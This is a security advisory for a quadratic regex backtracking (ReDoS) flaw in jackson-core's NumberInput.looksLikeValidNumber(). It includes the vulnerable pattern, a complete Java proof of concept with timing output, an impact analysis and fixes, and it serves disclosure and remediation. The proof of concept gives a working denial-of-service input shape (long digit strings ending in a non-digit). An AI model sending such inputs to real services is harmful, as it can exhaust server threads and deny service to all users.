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jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()

High severity GitHub Reviewed Published Sep 22, 2026 in FasterXML/jackson-core • Updated Oct 1, 2026

Package

maven com.fasterxml.jackson.core:jackson-core (Maven)

Affected versions

>= 2.17.0, <= 2.18.10
>= 2.19.0, <= 2.21.6
>= 2.22.0, <= 2.22.2

Patched versions

2.18.11
2.21.7
2.22.3
maven tools.jackson.core:jackson-core (Maven)
>= 3.0.0, <= 3.1.6
>= 3.2.0, <= 3.2.1
3.1.7
3.2.2

Description

Status

FULLY REPRODUCED with a clean, textbook empirical signature: measured runtime grew almost
exactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000
characters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical
HTTP request body) took 74.4 seconds for one call to NumberInput.looksLikeValidNumber().

Affected Component / Version

  • Package: com.fasterxml.jackson.core:jackson-core
  • Confirmed against: jackson-core-2.20.2
  • Affected file: src/main/java/com/fasterxml/jackson/core/io/NumberInput.java
    (PATTERN_FLOAT line ~41-42, PATTERN_FLOAT_TRAILING_DOT line ~51, entry point
    looksLikeValidNumber() lines ~646-656)

Technical Analysis

private final static Pattern PATTERN_FLOAT = Pattern.compile(
      "[+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?");

private final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile(
        "[+-]?[0-9]+[\\.]");

public static boolean looksLikeValidNumber(final String s) {
    // ... short-circuits only for null/empty/length==1 ...
    return PATTERN_FLOAT.matcher(s).matches()
            || PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches();
}

PATTERN_FLOAT contains ambiguous, adjacent quantifiers over the identical character class:
[0-9]* (optional digits), an optional [.], then [0-9]+ (required digits). Java's
backtracking Pattern/Matcher engine has no possessive quantifiers or atomic grouping here,
so on a non-matching input the engine must explore every possible split point between the
[0-9]* and [0-9]+ groups before concluding failure — the classic quadratic-backtracking
shape. looksLikeValidNumber() compounds the cost by running a second full-string regex
(PATTERN_FLOAT_TRAILING_DOT) whenever the first fails, roughly doubling the constant factor
without changing the asymptotic class.

Critically, the length gate that applies to this specific path is
StreamReadConstraints.maxStringLength (default 20,000,000), not maxNumberLength
(default 1,000) — the length ceiling the library uses everywhere else for numeric content.
This means inputs up to four orders of magnitude larger than the library's own numeric-length
policy reach this quadratic regex unmodified.

Reproduction Procedure

Same clone/build steps as jackson-core_1_...md. Then:

CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar"
javac -cp "$CP" -d poc poc/PoC8_NumberInputReDoS.java
java -cp "poc:$CP" PoC8_NumberInputReDoS

Full PoC Source (poc/PoC8_NumberInputReDoS.java)

import com.fasterxml.jackson.core.io.NumberInput;

public class PoC8_NumberInputReDoS {

    public static void main(String[] args) {
        int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000};
        long[] timesMs = new long[sizes.length];

        System.out.println("Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\n");

        for (int i = 0; i < sizes.length; i++) {
            int n = sizes[i];
            String s = repeat('1', n) + "x";

            if (i == 0) {
                NumberInput.looksLikeValidNumber(repeat('1', 200) + "x"); // warm up
            }

            long t0 = System.nanoTime();
            boolean result = NumberInput.looksLikeValidNumber(s);
            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
            timesMs[i] = elapsedMs;

            System.out.printf("n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n", n, result, elapsedMs);
        }

        System.out.println("\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):");
        boolean quadraticSignatureObserved = false;
        for (int i = 1; i < sizes.length; i++) {
            double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1];
            System.out.printf("  n=%d -> n=%d : %dms -> %dms  (ratio=%.2fx)%n",
                    sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio);
            if (ratio >= 3.0) quadraticSignatureObserved = true;
        }

        System.out.println("\nLargest test (n=" + sizes[sizes.length - 1] + ") took " + timesMs[timesMs.length - 1]
                + " ms for a single call from ONE HTTP-body-sized string.");
        System.out.println("\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) "
                + "governs this path, not maxNumberLength (1,000).");

        if (quadraticSignatureObserved) {
            System.out.println("\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent "
                    + "with quadratic backtracking in PATTERN_FLOAT on non-matching input.");
        }
    }

    static String repeat(char c, int n) {
        char[] arr = new char[n];
        java.util.Arrays.fill(arr, c);
        return new String(arr);
    }
}

Captured Evidence (actual run output)

Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:

n=5000     looksLikeValidNumber=false  elapsed=    74 ms
n=10000    looksLikeValidNumber=false  elapsed=   306 ms
n=20000    looksLikeValidNumber=false  elapsed=  1157 ms
n=40000    looksLikeValidNumber=false  elapsed=  4655 ms
n=80000    looksLikeValidNumber=false  elapsed= 18592 ms
n=160000   looksLikeValidNumber=false  elapsed= 74393 ms

Ratio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):
  n=5000 -> n=10000 : 74ms -> 306ms  (ratio=4.14x)
  n=10000 -> n=20000 : 306ms -> 1157ms  (ratio=3.78x)
  n=20000 -> n=40000 : 1157ms -> 4655ms  (ratio=4.02x)
  n=40000 -> n=80000 : 4655ms -> 18592ms  (ratio=3.99x)
  n=80000 -> n=160000 : 18592ms -> 74393ms  (ratio=4.00x)

Largest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.

=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic
backtracking in PATTERN_FLOAT on non-matching input.

This is an unusually clean empirical result: five consecutive doublings each produced a ratio
between 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within
5% at every single measurement, leaving essentially no ambiguity about the complexity class.
Extrapolating this measured curve, a ~1MB string (well within common request body limits) would
take on the order of hours for a single call.

Impact

Any application that coerces a String-typed JSON field to a number (default jackson-databind
behavior) is exposed: an attacker who can submit a large numeric-looking string (up to
maxStringLength's default of 20,000,000 characters — far larger than needed given the
measured curve) can pin a request-handling thread for an extended period with a single request.
Because the cost scales quadratically, a handful of concurrent moderately-sized requests
(tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread
pool, denying service to all users.

Remediation

  1. Rewrite PATTERN_FLOAT without quantifier ambiguity using possessive quantifiers, e.g.
    [+-]?(?:[0-9]++(?:\.[0-9]*+)?|\.[0-9]++)(?:[eE][+-]?[0-9]++)?, which also folds in the
    trailing-dot case and removes the need for a second full-string scan.
  2. Better: replace the regex entirely with a single-pass hand-written character scan — the same
    file already contains exactly this pattern for parseInt, so the library has both the
    precedent and the code style available.
  3. Apply an independent length limit (maxNumberLength, not the much larger
    maxStringLength) before calling looksLikeValidNumber(), closing the four-orders-of-
    magnitude gap between the two constraints for this specific code path.
  4. Operationally, until fixed: tighten StreamReadConstraints.maxStringLength well below its
    default, and set wall-clock timeouts on parse/coercion operations.

References

@cowtowncoder cowtowncoder published to FasterXML/jackson-core Sep 22, 2026
Published by the National Vulnerability Database Sep 22, 2026
Published to the GitHub Advisory Database Oct 1, 2026
Reviewed Oct 1, 2026
Last updated Oct 1, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(44th percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Inefficient Regular Expression Complexity

The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles. Learn more on MITRE.

CVE ID

CVE-2026-89407

GHSA ID

GHSA-p6pp-m3f8-5c89

Credits

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